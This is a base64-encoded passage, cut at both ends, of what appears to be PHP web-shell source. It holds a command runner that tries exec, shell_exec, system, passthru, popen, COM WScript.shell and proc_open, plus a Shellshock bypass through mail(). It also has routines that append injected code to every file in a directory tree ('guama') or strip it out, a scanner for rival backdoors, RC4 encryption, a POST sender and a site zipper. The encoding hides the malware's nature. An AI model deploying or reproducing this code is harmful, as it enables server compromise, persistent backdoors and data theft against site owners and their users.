29kZTsKICAgIGV4aXQ7Cn0KCmZ1bmN0aW9uIFRlc3RVdGY4KCR0ZXh0KQp7CiAgICBpZiAoc3RybGVuKCR0ZXh0KSA8IDMpIHJldHVybiBmYWxzZTsKICAgICRsYXN0Y2ggPSAwOwogICAgJGJlZ2luID0gMDsKICAgICRCT00gPSB0cnVlOwogICAgJEJPTWNocyA9IGFycmF5KDB4RUYsIDB4QkIsIDB4QkYpOwogICAgJGdvb2QgPSAwOwogICAgJGJhZCA9IDA7CiAgICAkbm90QXNjaWkgPSAwOwogICAgZm9yICgkaSA9IDA7ICRpIDwgc3RybGVuKCR0ZXh0KTsgJGkrKykgewogICAgICAgICRjaCA9IG9yZCgkdGV4dFskaV0pOwogICAgICAgIGlmICgkYmVnaW4gPCAzKSB7CiAgICAgICAgICAgICRCT00gPSAoJEJPTWNoc1skYmVnaW5dID09ICRjaCk7CiAgICAgICAgICAgICRiZWdpbiArPSAxOwogICAgICAgICAgICBjb250aW51ZTsKICAgICAgICB9CiAgICAgICAgaWYgKCRiZWdpbiA9PSA0ICYmICRCT00pIGJyZWFrOwogICAgICAgIGlmICgkY2ggPj0gMHg4MCkgJG5vdEFzY2lpKys7CiAgICAgICAgaWYgKCgkY2ggJiAweEMwKSA9PSAweDgwKSB7CiAgICAgICAgICAgIGlmICgoJGxhc3RjaCAmIDB4QzApID09IDB4QzApIHsKICAgICAgICAgICAgICAgICRnb29kICs9IDE7CiAgICAgICAgICAgIH0gZWxzZSBpZiAoKCRsYXN0Y2ggJiAweDgwKSA9PSAwKSB7CiAgICAgICAgICAgICAgICAkYmFkICs9IDE7CiAgICAgICAgICAgIH0KICAgICAgICB9IGVsc2UgaWYgKCgkbGFzdGNoICYgMHhDMCkgPT0gMHhDMCkgewogICAgICAgICAgICAkYmFkICs9IDE7CiAgICAgICAgfQogICAgICAgICRsYXN0Y2ggPSAkY2g7CiAgICB9CiAgICBpZiAoJGJlZ2luID09IDQgJiYgJEJPTSkgewogICAgICAgIHJldHVybiAyOwogICAgfSBlbHNlIGlmICgkbm90QXNjaWkgPT0gMCkgewogICAgICAgIHJldHVybiAxOwogICAgfSBlbHNlIGlmICgkZ29vZCA+PSAkYmFkKSB7CiAgICAgICAgcmV0dXJuIDI7CiAgICB9IGVsc2UgewogICAgICAgIHJldHVybiAwOwogICAgfQp9CgpmdW5jdGlvbiBGaWxlX1N0cigkc3RyaW5nKQp7CiAgICByZXR1cm4gc3RyX3JlcGxhY2UoJy8vJywgJy8nLCBzdHJfcmVwbGFjZSgnXFwnLCAnLycsICRzdHJpbmcpKTsKfQoKZnVuY3Rpb24gRmlsZV9Xcml0ZSgkZmlsZW5hbWUsICRmaWxlY29kZSwgJGZpbGVtb2RlKQp7CiAgICAka2V5ID0gdHJ1ZTsKICAgICRoYW5kbGUgPSBAZm9wZW4oJGZpbGVuYW1lLCAkZmlsZW1vZGUpOwogICAgaWYgKCFAZndyaXRlKCRoYW5kbGUsICRmaWxlY29kZSkpIHsKICAgICAgICBAY2htb2QoJGZpbGVuYW1lLCAwNjY2KTsKICAgICAgICAka2V5ID0gQGZ3cml0ZSgkaGFuZGxlLCAkZmlsZWNvZGUpID8gdHJ1ZSA6IGZhbHNlOwogICAgfQogICAgQGZjbG9zZSgkaGFuZGxlKTsKICAgIHJldHVybiAka2V5Owp9CgpmdW5jdGlvbiBFeGVjX1J1bigkY21kKQp7CiAgICAkcmVzID0gJyc7CiAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdleGVjJykpIHsKICAgICAgICBAZXhlYygkY21kLCAkcmVzKTsKICAgICAgICAkcmVzID0gam9pbigiXG4iLCAkcmVzKTsKICAgIH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKSkgewogICAgICAgICRyZXMgPSBAc2hlbGxfZXhlYygkY21kKTsKICAgIH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ3N5c3RlbScpKSB7CiAgICAgICAgQG9iX3N0YXJ0KCk7CiAgICAgICAgQHN5c3RlbSgkY21kKTsKICAgICAgICAkcmVzID0gQG9iX2dldF9jb250ZW50cygpOwogICAgICAgIEBvYl9lbmRfY2xlYW4oKTsKICAgIH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1JykpIHsKICAgICAgICBAb2Jfc3RhcnQoKTsKICAgICAgICBAcGFzc3RocnUoJGNtZCk7CiAgICAgICAgJHJlcyA9IEBvYl9nZXRfY29udGVudHMoKTsKICAgICAgICBAb2JfZW5kX2NsZWFuKCk7CiAgICB9IGVsc2VpZiAoQGlzX3Jlc291cmNlKCRmID0gQHBvcGVuKCRjbWQsICdyJykpKSB7CiAgICAgICAgJHJlcyA9ICcnOwogICAgICAgIHdoaWxlICghQGZlb2YoJGYpKSB7CiAgICAgICAgICAgICRyZXMgLj0gQGZyZWFkKCRmLCAxMDI0KTsKICAgICAgICB9CiAgICAgICAgQHBjbG9zZSgkZik7CiAgICB9IGVsc2VpZiAoc3Vic3RyKGRpcm5hbWUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKSwgMCwgMSkgIT0gIi8iICYmIGNsYXNzX2V4aXN0cygnQ09NJykpIHsKICAgICAgICAkdyA9IG5ldyBDT00oJ1dTY3JpcHQuc2hlbGwnKTsKICAgICAgICAkZSA9ICR3LT5leGVjKCRjbWQpOwogICAgICAgICRmID0gJGUtPlN0ZE91dCgpOwogICAgICAgICRyZXMgPSAkZi0+UmVhZEFsbCgpOwogICAgfSBlbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygncHJvY19vcGVuJykpIHsKICAgICAgICAkbGVuZ3RoID0gc3RyY3NwbigkY21kLCAiIFx0Iik7CiAgICAgICAgJHRva2VuID0gc3Vic3RyKCRjbWQsIDAsICRsZW5ndGgpOwogICAgICAgIGlmIChpc3NldCgkYWxpYXNlc1skdG9rZW5dKSkgJGNtZCA9ICRhbGlhc2VzWyR0b2tlbl0gLiBzdWJzdHIoJGNtZCwgJGxlbmd0aCk7CiAgICAgICAgJHAgPSBwcm9jX29wZW4oJGNtZCwgYXJyYXkoMSA9PiBhcnJheSgncGlwZScsICd3JyksIDIgPT4gYXJyYXkoJ3BpcGUnLCAndycpKSwgJGlvKTsKICAgICAgICB3aGlsZSAoIWZlb2YoJGlvWzFdKSkgewogICAgICAgICAgICAkcmVzIC49IGh0bWxzcGVjaWFsY2hhcnMoZmdldHMoJGlvWzFdKSwgRU5UX0NPTVBBVCwgJ1VURi04Jyk7CiAgICAgICAgfQogICAgICAgIHdoaWxlICghZmVvZigkaW9bMl0pKSB7CiAgICAgICAgICAgICRyZXMgLj0gaHRtbHNwZWNpYWxjaGFycyhmZ2V0cygkaW9bMl0pLCBFTlRfQ09NUEFULCAnVVRGLTgnKTsKICAgICAgICB9CiAgICAgICAgZmNsb3NlKCRpb1sxXSk7CiAgICAgICAgZmNsb3NlKCRpb1syXSk7CiAgICAgICAgcHJvY19jbG9zZSgkcCk7CiAgICB9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdtYWlsJykpIHsKICAgICAgICBpZiAoc3Ryc3RyKHJlYWRsaW5rKCIvYmluL3NoIiksICJiYXNoIikgIT0gRkFMU0UpIHsKICAgICAgICAgICAgJHRtcCA9IHRlbXBuYW0oIi4iLCAiZGF0YSIpOwogICAgICAgICAgICBwdXRlbnYoIlBIUF9MT0w9KCkgeyB4OyB9OyAkY21kID4kdG1wIDI+JjEiKTsKICAgICAgICAgICAgbWFpbCgiYUAxMjcuMC4wLjEiLCAiIiwgIiIsICIiLCAiLWJ2Iik7CiAgICAgICAgfSBlbHNlICRyZXMgPSAiTm90IHZ1bG4gKG5vdCBiYXNoKSI7CiAgICAgICAgJG91dHB1dCA9IEBmaWxlX2dldF9jb250ZW50cygkdG1wKTsKICAgICAgICBAdW5saW5rKCR0bXApOwogICAgICAgIGlmICgkb3V0cHV0ICE9ICIiKSAkcmVzID0gJG91dHB1dDsgZWxzZSAkcmVzID0gIk5vIG91dHB1dCwgb3Igbm90IHZ1bG4uIjsKICAgIH0KICAgIHJldHVybiAkcmVzOwp9CgpmdW5jdGlvbiBGaWxlX01vZGUoKQp7CiAgICAkUmVhbFBhdGggPSByZWFscGF0aCgnLi8nKTsKICAgICRTZWxmUGF0aCA9ICRfU0VSVkVSWydQSFBfU0VMRiddOwogICAgJFNlbGZQYXRoID0gc3Vic3RyKCRTZWxmUGF0aCwgMCwgc3RycnBvcygkU2VsZlBhdGgsICcvJykpOwogICAgcmV0dXJuIEZpbGVfU3RyKHN1YnN0cigkUmVhbFBhdGgsIDAsIHN0cmxlbigkUmVhbFBhdGgpIC0gc3RybGVuKCRTZWxmUGF0aCkpKTsKfQoKZnVuY3Rpb24gR2V0RmlsZU93bmVyKCRGaWxlKQp7CiAgICBpZiAoUEFUSF9TRVBBUkFUT1IgPT0gJzonKSB7CiAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0cHd1aWQnKSkgewogICAgICAgICAgICAkRmlsZSA9IHBvc2l4X2dldHB3dWlkKGZpbGVvd25lcigkRmlsZSkpOwogICAgICAgIH0KICAgICAgICByZXR1cm4gJEZpbGVbJ25hbWUnXTsKICAgIH0KfQoKZnVuY3Rpb24gR2V0RmlsZUdyb3VwKCRGaWxlKQp7CiAgICBpZiAoUEFUSF9TRVBBUkFUT1IgPT0gJzonKSB7CiAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0Z3JnaWQnKSkgewogICAgICAgICAgICAkRmlsZSA9IHBvc2l4X2dldGdyZ2lkKGZpbGVncm91cCgkRmlsZSkpOwogICAgICAgIH0KICAgICAgICByZXR1cm4gJEZpbGVbJ25hbWUnXTsKICAgIH0KfQoKZnVuY3Rpb24gRmlsZV9TaXplKCRzaXplKQp7CiAgICAka2IgPSAxMDI0OwogICAgJG1iID0gMTAyNCAqICRrYjsKICAgICRnYiA9IDEwMjQgKiAkbWI7CiAgICAkdGIgPSAxMDI0ICogJGdiOwogICAgaWYgKCRzaXplIDwgJGtiKSB7CiAgICAgICAgcmV0dXJuICRzaXplIC4gIiBCIjsKICAgIH0gZWxzZSBpZiAoJHNpemUgPCAkbWIpIHsKICAgICAgICByZXR1cm4gcm91bmQoJHNpemUgLyAka2IsIDIpIC4gIiBLIjsKICAgIH0gZWxzZSBpZiAoJHNpemUgPCAkZ2IpIHsKICAgICAgICByZXR1cm4gcm91bmQoJHNpemUgLyAkbWIsIDIpIC4gIiBNIjsKICAgIH0gZWxzZSBpZiAoJHNpemUgPCAkdGIpIHsKICAgICAgICByZXR1cm4gcm91bmQoJHNpemUgLyAkZ2IsIDIpIC4gIiBHIjsKICAgIH0gZWxzZSB7CiAgICAgICAgcmV0dXJuIHJvdW5kKCRzaXplIC8gJHRiLCAyKSAuICIgVCI7CiAgICB9Cn0KCmZ1bmN0aW9uIEZpbGVfUmVhZCgkZmlsZW5hbWUpCnsKICAgICRoYW5kbGUgPSBAZm9wZW4oJGZpbGVuYW1lLCAicmIiKTsKICAgICRmaWxlY29kZSA9IEBmcmVhZCgkaGFuZGxlLCBAZmlsZXNpemUoJGZpbGVuYW1lKSk7CiAgICBAZmNsb3NlKCRoYW5kbGUpOwogICAgcmV0dXJuICRmaWxlY29kZTsKfQoKZnVuY3Rpb24gZ2V0UmVhbElwKCl7CiAgICAkaXA9RkFMU0U7CiAgICBpZighZW1wdHkoJF9TRVJWRVJbIkhUVFBfQ0xJRU5UX0lQIl0pKXsKICAgICAgICAkaXAgPSAkX1NFUlZFUlsiSFRUUF9DTElFTlRfSVAiXTsKICAgIH0KICAgIGlmICghZW1wdHkoJF9TRVJWRVJbJ0hUVFBfWF9GT1JXQVJERURfRk9SJ10pKSB7CiAgICAgICAgJGlwcyA9IGV4cGxvZGUgKCIsICIsICRfU0VSVkVSWydIVFRQX1hfRk9SV0FSREVEX0ZPUiddKTsKICAgICAgICBpZiAoJGlwKSB7IGFycmF5X3Vuc2hpZnQoJGlwcywgJGlwKTsgJGlwID0gRkFMU0U7IH0KICAgICAgICBmb3IgKCRpID0gMDsgJGkgPCBjb3VudCgkaXBzKTsgJGkrKykgewogICAgICAgICAgICBpZiAoIXByZWdfbWF0Y2ggKCIvXigxMKmmMTcyLjE2qaYxOTIuMTY4KS4vaSIsICRpcHNbJGldKSkgewogICAgICAgICAgICAgICAgJGlwID0gJGlwc1skaV07CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KICAgIHJldHVybiAoJGlwID8gJGlwIDogJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10pOwp9CgpmdW5jdGlvbiBmaWxlRGV0ZWN0KCl7CiAgICAkbWVzc2FnZSA9ICIiOwogICAgJHBhdGggPSByZWFscGF0aCgiLiIpOwogICAgJG9iamVjdHMgPSBuZXcgUmVjdXJzaXZlSXRlcmF0b3JJdGVyYXRvcihuZXcgUmVjdXJzaXZlRGlyZWN0b3J5SXRlcmF0b3IoJHBhdGgpLCBSZWN1cnNpdmVJdGVyYXRvckl0ZXJhdG9yOjpTRUxGX0ZJUlNUKTsKICAgIGZvcmVhY2goJG9iamVjdHMgYXMgJG5hbWUgPT4gJG9iamVjdCl7CiAgICAgICAgaWYgKHByZWdfbWF0Y2goIi9cLnBocC9pIiwkbmFtZSkgJiYgZmlsZXNpemUoJG5hbWUpLzEwMjQgPD0gNTAwKXsKICAgICAgICAgICAgJGRhdGEgPSBmaWxlX2dldF9jb250ZW50cygkbmFtZSk7CiAgICAgICAgICAgICR0bXAgPSBzdHJfcmVwbGFjZSgiICIsIiIsJGRhdGEpOwogICAgICAgICAgICBpZiAocHJlZ19tYXRjaCgiLyhldmFsXCgpfChjcmVhdGVfZnVuY3Rpb25cKCl8KGJhc2U2NF9kZWNvZGVcKCkvaSIsJHRtcCkpCiAgICAgICAgICAgICAgICAkbWVzc2FnZSAuPSAkbmFtZS4iXG4iLiAkZGF0YSAuIlxuXG4iOwogICAgICAgIH0KICAgIH0KICAgIHJldHVybiBiYXNlNjRfZW5jb2RlKGd6Y29tcHJlc3MoJG1lc3NhZ2UpKTsKfQoKZnVuY3Rpb24gc2VuZFBvc3QoJHVybCwgJHBvc3RfZGF0YSkgewogICAgJHBvc3RkYXRhID0gaHR0cF9idWlsZF9xdWVyeSgkcG9zdF9kYXRhKTsKICAgICRvcHRpb25zID0gYXJyYXkoCiAgICAgICAgJ2h0dHAnID0+IGFycmF5KAogICAgICAgICAgICAnbWV0aG9kJyA9PiAnUE9TVCcsCiAgICAgICAgICAgICdoZWFkZXInID0+ICdDb250ZW50LXR5cGU6YXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkJywKICAgICAgICAgICAgJ2NvbnRlbnQnID0+ICRwb3N0ZGF0YSwKICAgICAgICAgICAgJ3RpbWVvdXQnID0+IDUKICAgICAgICApCiAgICApOwogICAgJGNvbnRleHQgPSBzdHJlYW1fY29udGV4dF9jcmVhdGUoJG9wdGlvbnMpOwogICAgJHJlc3VsdCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCR1cmwsIGZhbHNlLCAkY29udGV4dCk7CiAgICByZXR1cm4gJHJlc3VsdDsKfQoKZnVuY3Rpb24gcmM0RW5jcnlwdCgkcHdkLCAkZGF0YSkKewogICAgJGNpcGhlciAgICAgID0gJyc7CiAgICAka2V5W10gICAgICAgPSAiIjsKICAgICRib3hbXSAgICAgICA9ICIiOwogICAgJHB3ZF9sZW5ndGggID0gc3RybGVuKCRwd2QpOwogICAgJGRhdGFfbGVuZ3RoID0gc3RybGVuKCRkYXRhKTsKICAgIGZvciAoJGkgPSAwOyAkaSA8IDI1NjsgJGkrKykgewogICAgICAgICRrZXlbJGldID0gb3JkKCRwd2RbJGkgJSAkcHdkX2xlbmd0aF0pOwogICAgICAgICRib3hbJGldID0gJGk7CiAgICB9CiAgICBmb3IgKCRqID0gJGkgPSAwOyAkaSA8IDI1NjsgJGkrKykgewogICAgICAgICRqICAgICAgID0gKCRqICsgJGJveFskaV0gKyAka2V5WyRpXSkgJSAyNTY7CiAgICAgICAgJHRtcCAgICAgPSAkYm94WyRpXTsKICAgICAgICAkYm94WyRpXSA9ICRib3hbJGpdOwogICAgICAgICRib3hbJGpdID0gJHRtcDsKICAgIH0KICAgIGZvciAoJGEgPSAkaiA9ICRpID0gMDsgJGkgPCAkZGF0YV9sZW5ndGg7ICRpKyspIHsKICAgICAgICAkYSAgICAgICA9ICgkYSArIDEpICUgMjU2OwogICAgICAgICRqICAgICAgID0gKCRqICsgJGJveFskYV0pICUgMjU2OwogICAgICAgICR0bXAgICAgID0gJGJveFskYV07CiAgICAgICAgJGJveFskYV0gPSAkYm94WyRqXTsKICAgICAgICAkYm94WyRqXSA9ICR0bXA7CiAgICAgICAgJGsgICAgICAgPSAkYm94WygoJGJveFskYV0gKyAkYm94WyRqXSkgJSAyNTYpXTsKICAgICAgICAkY2lwaGVyIC49IGNocihvcmQoJGRhdGFbJGldKSBeICRrKTsKICAgIH0KICAgIHJldHVybiBiYXNlNjRfZW5jb2RlKCRjaXBoZXIpOwp9CgoKZnVuY3Rpb24gYXJyYXlfaWNvbnYoJGRhdGEsICRvdXRwdXQgPSAndXRmLTgnKQp7CiAgICAkZW5jb2RlX2FyciA9IGFycmF5KCdVVEYtOCcsICdBU0NJSScsICdHQksnLCAnR0IyMzEyJywgJ0JJRzUnLCAnSklTJywgJ2V1Y2pwLXdpbicsICdzamlzLXdpbicsICdFVUMtSlAnKTsKICAgICRlbmNvZGVkID0gbWJfZGV0ZWN0X2VuY29kaW5nKCRkYXRhLCAkZW5jb2RlX2Fycik7CgogICAgaWYgKCFpc19hcnJheSgkZGF0YSkpIHsKICAgICAgICByZXR1cm4gbWJfY29udmVydF9lbmNvZGluZygkZGF0YSwgJG91dHB1dCwgJGVuY29kZWQpOwogICAgfSBlbHNlIHsKICAgICAgICBmb3JlYWNoICgkZGF0YSBhcyAka2V5ID0+ICR2YWwpIHsKICAgICAgICAgICAgJGtleSA9IGFycmF5X2ljb252KCRrZXksICRvdXRwdXQpOwogICAgICAgICAgICBpZiAoaXNfYXJyYXkoJHZhbCkpIHsKICAgICAgICAgICAgICAgICRkYXRhWyRrZXldID0gYXJyYXlfaWNvbnYoJHZhbCwgJG91dHB1dCk7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkZGF0YVska2V5XSA9IG1iX2NvbnZlcnRfZW5jb2RpbmcoJGRhdGEsICRvdXRwdXQsICRlbmNvZGVkKTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gJGRhdGE7CiAgICB9Cn0KCmZ1bmN0aW9uIEluZm9fQ2ZnKCR2YXJuYW1lKQp7CiAgICBzd2l0Y2ggKCRyZXN1bHQgPSBnZXRfY2ZnX3ZhcigkdmFybmFtZSkpIHsKICAgICAgICBjYXNlIDA6CiAgICAgICAgICAgIHJldHVybiAiTm8iOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlIDE6CiAgICAgICAgICAgIHJldHVybiAiWWVzIjsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgcmV0dXJuICRyZXN1bHQ7CiAgICAgICAgICAgIGJyZWFrOwogICAgfQp9CgpmdW5jdGlvbiBJbmZvX0Z1bigkZnVuTmFtZSkKewogICAgcmV0dXJuIChmYWxzZSAhPT0gZnVuY3Rpb25fZXhpc3RzKCRmdW5OYW1lKSkgPyAiWWVzIiA6ICJObyI7Cn0KCgpmdW5jdGlvbiBkb19wYXNzcmV0dXJuKCRkaXIsICRjb2RlLCAkdHlwZSwgJGJvb2wsICRmaWxldHlwZSA9ICcnLCAkc2hlbGwgPSBteV9zaGVsbCkKewogICAgJHNob3cgPSBkb19zaG93KCRkaXIpOwogICAgZm9yZWFjaCAoJHNob3cgYXMgJGZpbGVzKSB7CiAgICAgICAgaWYgKGlzX2RpcigkZmlsZXMpICYmICRib29sKSB7CiAgICAgICAgICAgIGRvX3Bhc3NyZXR1cm4oJGZpbGVzLCAkY29kZSwgJHR5cGUsICRib29sLCAkZmlsZXR5cGUsICRzaGVsbCk7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgaWYgKCRmaWxlcyA9PSAkc2hlbGwpIGNvbnRpbnVlOwogICAgICAgICAgICBzd2l0Y2ggKCR0eXBlKSB7CiAgICAgICAgICAgICAgICBjYXNlICJndWFtYSI6CiAgICAgICAgICAgICAgICAgICAgaWYgKGRlYnVnKCRmaWxlcywgJGZpbGV0eXBlKSkgewogICAgICAgICAgICAgICAgICAgICAgICBkb193cml0ZSgkZmlsZXMsICJhYiIsICJcbiIgLiAkY29kZSkgPyBodG1sX24oIrPJuaYtLT4gJGZpbGVzPGJyPiIpIDogaHRtbF9uKCLKp7DcLS0+ICRmaWxlczxicj4iKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICBjYXNlICJxaW5nbWEiOgogICAgICAgICAgICAgICAgICAgICRmaWxlY29kZSA9IEBmaWxlX2dldF9jb250ZW50cygkZmlsZXMpOwogICAgICAgICAgICAgICAgICAgIGlmIChzdHJpc3RyKCRmaWxlY29kZSwgJGNvZGUpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRuZXdjb2RlID0gc3RyX3JlcGxhY2UoJGNvZGUsICcnLCAkZmlsZWNvZGUpOwogICAgICAgICAgICAgICAgICAgICAgICBkb193cml0ZSgkZmlsZXMsICJ3YiIsICRuZXdjb2RlKSA/IGh0bWxfbigis8m5pi0tPiAkZmlsZXM8YnI+IikgOiBodG1sX24oIsqnsNwtLT4gJGZpbGVzPGJyPiIpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIGNhc2UgInRpaHVhbiI6CiAgICAgICAgICAgICAgICAgICAgJGZpbGVjb2RlID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlcyk7CiAgICAgICAgICAgICAgICAgICAgaWYgKHN0cmlzdHIoJGZpbGVjb2RlLCAkY29kZSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJG5ld2NvZGUgPSBzdHJfcmVwbGFjZSgkY29kZSwgJGZpbGV0eXBlLCAkZmlsZWNvZGUpOwogICAgICAgICAgICAgICAgICAgICAgICBkb193cml0ZSgkZmlsZXMsICJ3YiIsICRuZXdjb2RlKSA/IGh0bWxfbigis8m5pi0tPiAkZmlsZXM8YnI+IikgOiBodG1sX24oIsqnsNwtLT4gJGZpbGVzPGJyPiIpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIGNhc2UgInNjYW5maWxlIjoKICAgICAgICAgICAgICAgICAgICAkZmlsZSA9IGV4cGxvZGUoJy8nLCAkZmlsZXMpOwogICAgICAgICAgICAgICAgICAgIGlmIChzdHJpc3RyKCRmaWxlW2NvdW50KCRmaWxlKSAtIDFdLCAkY29kZSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgaHRtbF9hKCI/d2Vic2l0ZV89ZWRpdHImcD0kZmlsZXMiLCAkZmlsZXMpOwogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8YnI+JzsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICBjYXNlICJzY2FuY29kZSI6CiAgICAgICAgICAgICAgICAgICAgJGZpbGVjb2RlID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlcyk7CiAgICAgICAgICAgICAgICAgICAgaWYgKHN0cmlzdHIoJGZpbGVjb2RlLCAkY29kZSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgaHRtbF9hKCI/d2Vic2l0ZV89ZWRpdHImcD0kZmlsZXMiLCAkZmlsZXMpOwogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8YnI+JzsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICBjYXNlICJzY2FucGhwIjoKICAgICAgICAgICAgICAgICAgICAkZmlsZWluZm8gPSBwYXRoaW5mbygkZmlsZXMpOwogICAgICAgICAgICAgICAgICAgIGlmICgkZmlsZWluZm9bJ2V4dGVuc2lvbiddID09ICRjb2RlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRmaWxlY29kZSA9IEBmaWxlX2dldF9jb250ZW50cygkZmlsZXMpOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAobXVtYSgkZmlsZWNvZGUsICRjb2RlKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgaHRtbF9hKCI/d2Vic2l0ZV89ZWRpdHImcD0iIC4gdXJsZW5jb2RlKCRmaWxlcyksICKx4LytIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBodG1sX2EoIj93ZWJzaXRlXz1kZWwmcD0iIC4gdXJsZW5jb2RlKCRmaWxlcyksICLJvrP9Iik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICRmaWxlcyAuICc8YnI+JzsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KfQoKCmNsYXNzIFBIUHppcAp7CgogICAgdmFyICRmaWxlX2NvdW50ID0gMDsKICAgIHZhciAkZGF0YXN0cl9sZW4gPSAwOwogICAgdmFyICRkaXJzdHJfbGVuID0gMDsKICAgIHZhciAkZmlsZWRhdGEgPSAnJzsKICAgIHZhciAkZ3pmaWxlbmFtZTsKICAgIHZhciAkZnA7CiAgICB2YXIgJGRpcnN0ciA9ICcnOwoKICAgIGZ1bmN0aW9uIHVuaXgyRG9zVGltZSgkdW5peHRpbWUgPSAwKQogICAgewogICAgICAgICR0aW1lYXJyYXkgPSAoJHVuaXh0aW1lID09IDApID8gZ2V0ZGF0ZSgpIDogZ2V0ZGF0ZSgkdW5peHRpbWUpOwoKICAgICAgICBpZiAoJHRpbWVhcnJheVsneWVhciddIDwgMTk4MCkgewogICAgICAgICAgICAkdGltZWFycmF5Wyd5ZWFyJ10gPSAxOTgwOwogICAgICAgICAgICAkdGltZWFycmF5Wydtb24nXSA9IDE7CiAgICAgICAgICAgICR0aW1lYXJyYXlbJ21kYXknXSA9IDE7CiAgICAgICAgICAgICR0aW1lYXJyYXlbJ2hvdXJzJ10gPSAwOwogICAgICAgICAgICAkdGltZWFycmF5WydtaW51dGVzJ10gPSAwOwogICAgICAgICAgICAkdGltZWFycmF5WydzZWNvbmRzJ10gPSAwOwogICAgICAgIH0KCiAgICAgICAgcmV0dXJuICgoJHRpbWVhcnJheVsneWVhciddIC0gMTk4MCkgPDwgMjUpIHwgKCR0aW1lYXJyYXlbJ21vbiddIDw8IDIxKSB8ICgkdGltZWFycmF5WydtZGF5J10gPDwgMTYpIHwKICAgICAgICAgICAgKCR0aW1lYXJyYXlbJ2hvdXJzJ10gPDwgMTEpIHwgKCR0aW1lYXJyYXlbJ21pbnV0ZXMnXSA8PCA1KSB8ICgkdGltZWFycmF5WydzZWNvbmRzJ10gPj4gMSk7CiAgICB9CgogICAgZnVuY3Rpb24gc3RhcnRmaWxlKCRwYXRoID0gIndlYi56aXAiKQogICAgewogICAgICAgICR0aGlzLT5nemZpbGVuYW1lID0gJHBhdGg7CiAgICAgICAgJG15cGF0aGRpciA9IGFycmF5KCk7CiAgICAgICAgZG8gewogICAgICAgICAgICAkbXlwYXRoZGlyW10gPSAkcGF0aCA9IGRpcm5hbWUoJHBhdGgpOwogICAgICAgIH0gd2hpbGUgKCRwYXRoICE9ICcuJyk7CiAgICAgICAgQGVuZCgkbXlwYXRoZGlyKTsKICAgICAgICBkbyB7CiAgICAgICAgICAgICRwYXRoID0gQGN1cnJlbnQoJG15cGF0aGRpcik7CiAgICAgICAgICAgIEBta2RpcigkcGF0aCk7CiAgICAgICAgfSB3aGlsZSAoQHByZXYoJG15cGF0aGRpcikpOwoKICAgICAgICBpZiAoJHRoaXMtPmZwID0gQGZvcGVuKCR0aGlzLT5nemZpbGVuYW1lLCAidyIpKSB7CiAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgIH0KICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9CgogICAgZnVuY3Rpb24gYWRkZmlsZSgkZGF0YSwgJG5hbWUpCiAgICB7CiAgICAgICAgJG5hbWUgPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsICRuYW1lKTsKCiAgICAgICAgaWYgKHN0cnJjaHIoJG5hbWUsICcvJykgPT0gJy8nKSByZXR1cm4gJHRoaXMtPmFkZGRpcigkbmFtZSk7CgogICAgICAgICRkdGltZSA9IGRlY2hleCgkdGhpcy0+dW5peDJEb3NUaW1lKCkpOwogICAgICAgICRoZXhkdGltZSA9ICdceCcgLiAkZHRpbWVbNl0gLiAkZHRpbWVbN10KICAgICAgICAgICAgLiAnXHgnIC4gJGR0aW1lWzRdIC4gJGR0aW1lWzVdCiAgICAgICAgICAgIC4gJ1x4JyAuICRkdGltZVsyXSAuICRkdGltZVszXQogICAgICAgICAgICAuICdceCcgLiAkZHRpbWVbMF0gLiAkZHRpbWVbMV07CiAgICAgICAgZXZhbCgnJGhleGR0aW1lID0gIicgLiAkaGV4ZHRpbWUgLiAnIjsnKTsKCiAgICAgICAgJHVuY19sZW4gPSBzdHJsZW4oJGRhd